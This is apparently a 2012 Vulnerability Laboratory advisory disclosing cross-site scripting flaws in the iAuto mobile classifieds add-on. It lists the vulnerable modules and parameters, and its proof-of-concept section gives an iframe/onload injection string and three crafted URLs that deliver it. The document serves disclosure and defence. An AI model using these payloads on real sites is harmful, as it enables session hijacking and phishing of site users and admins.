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199 lines
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Title:
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======
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iAuto Mobile Application 2012 - Multiple Web Vulnerabilities
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Date:
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=====
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2012-07-11
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References:
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===========
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http://www.vulnerability-lab.com/get_content.php?id=658
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VL-ID:
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=====
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658
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Common Vulnerability Scoring System:
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====================================
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3.5
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Introduction:
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=============
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With Internet on mobile devices booming, having a desktop-oriented version is just not enough anymore. Empower your
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visitors with content designed for mobile Web by offering them a mobile version of your classifieds website.
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WorksForWeb is offering custom-made mobile frontend addons for our classified solutions. The mobile version of your
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website will present all the data of the regular website in the format optimized for iPhone, Android, iPad, BlackBerry,
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Symbian, or other mobile devices. Mobile frontend addon features:
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Quick and advanced search,
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Browsing,
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Tabbed design,
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Multi-language interface,
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Google Maps,
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And much more
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Addon is seamlessly integrated with your main website. Your website automatically detects mobile browsers to redirect
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mobile visitors to the mobile-optimized content. Why do you need a mobile gateway to your website? Because all the market
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leaders have mobile access, and so should you. The mobile technology is redefining our future, and you should be one step
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ahead of your smaller competitors. Mobile users now make up a large percentage of your target audience, and their needs
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to access information easily are important to address. At this moment, the mobile addon is compatible with classified
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solutions of v.5.2 and above. The price of the mobile frontend addon is only $175. This price includes a free expert
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installation on your server.
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(Copy of the Vendor Homepage: http://www.worksforweb.com/classifieds-software/addons/mobile-addon/ )
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Abstract:
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=========
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The Vulnerability Laboratory Research Team discovered multiple cross site vulnerabilities in the iAuto Mobile APP for Android, iOS & Blackberry.
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Report-Timeline:
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================
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2012-07-10: Public or Non-Public Disclosure
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Status:
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========
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Published
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Exploitation-Technique:
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=======================
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Remote
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Severity:
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=========
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Medium
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Details:
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========
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1.1
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A persistent input validation vulnerability is detected in the iAuto Mobile APP for Android, iOS (iPhone), Ericsson & Blackberry.
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The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent vulnerability
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is located in comments module with the bound vulnerable commentSid parameter. Successful exploitation of the vulnerability can lead to session
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hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action & privileged user account.
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Vulnerable Module(s):
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[+] Comments > Reply to The Comment Listing
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Vulnerable Parameter(s):
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[+] commentSid & commentInfo
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1.2
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Multiple non persistent cross site scripting vulnerabilities are detected in the iAuto Mobile APP for Android, iOS (iPhone), Ericsson & Blackberry.
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The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter action or
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local low privileged user account. The bugs are located in the Dealer > Search Sellers or Browse by Make and Model with the bound vulnerable
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parameters city & path/url. Successful exploitation can result in account steal, client side phishing & client-side content request manipulation.
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Exploitation requires medium or high user inter action & without privileged web application user account.
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Vulnerable Module(s):
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[+] Dealer > Search Sellers > City
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[+] Browse by Make and Model > /../ >
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Vulnerable Parameter(s):
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[+] City
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[+] Folder Access Listing
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Proof of Concept:
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=================
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1.1
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The persistent vulnerabilities can be exploited by remote attackers with low privileged user account and with low required user inter action.
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For demonstration or reproduce ...
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Review: Add Comments - Listing
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<div class="addComment">
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<h1>Reply to The Comment</h1>
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<div class="pageDescription">
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<div class="commentInfo">You are replying to the comment
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#"><iframe src="iAuto%20%20%20Listing%20Comments%20Reply%20to%20The%20Comment-Dateien/[PERSISTENT INJECTED CODE!])' <="" to=""
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listing="" #448="" "<span="" class="fieldValue fieldValueYear" height="900" width="1000">2007</span>
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<span class="fieldValue fieldValueMake">Acura</span>
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1.2
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The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or highr equired user inter action.
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Fo demonstration or reproduce ...
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String: "><iframe src=http://vuln-lab.com width=1000 height=900 onload=alert("VulnerabilityLab") <
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Dealer > Search Sellers > City
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PoC:
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http://iauto.xxx.com/iAuto/m/users/search/?DealershipName[equal]=jamaikan-hope23&City[equal]=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+
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width%3D1000+height%3D900+onload%3Dalert%28%22VulnerabilityLab%22%29+%3C&State[equal]=11&action=search
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Browse by Make and Model / AC Cobra / >
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PoC:
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http://iauto.xxx.com/iAuto/m/browse-by-make-model/AC+Cobra/%22%3E%3Ciframe%20src=http://vuln-lab.com%20
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width=1000%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C/
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Comments > Reply to The Comment > Topic & Text (commentSid)
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PoC:
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http://iauto.xxx.com/iAuto/m/comment/add/?listingSid=448&commentSid=%22%3E%3Ciframe%20src=http://vuln-lab.com%20width=1000
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%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C&returnBackUri=%2Flisting%2Fcomments%2F448%2F%3F
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Risk:
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=====
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1.1
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The security risk of the persistent input validation vulnerability is estimated as medium(+).
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1.2
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The security risk of the non-persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.
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Credits:
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========
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
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Disclaimer:
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===========
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The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Copyright © 2012 | Vulnerability Laboratory
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--
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VULNERABILITY RESEARCH LABORATORY
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LABORATORY RESEARCH TEAM
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CONTACT: research@vulnerability-lab.com |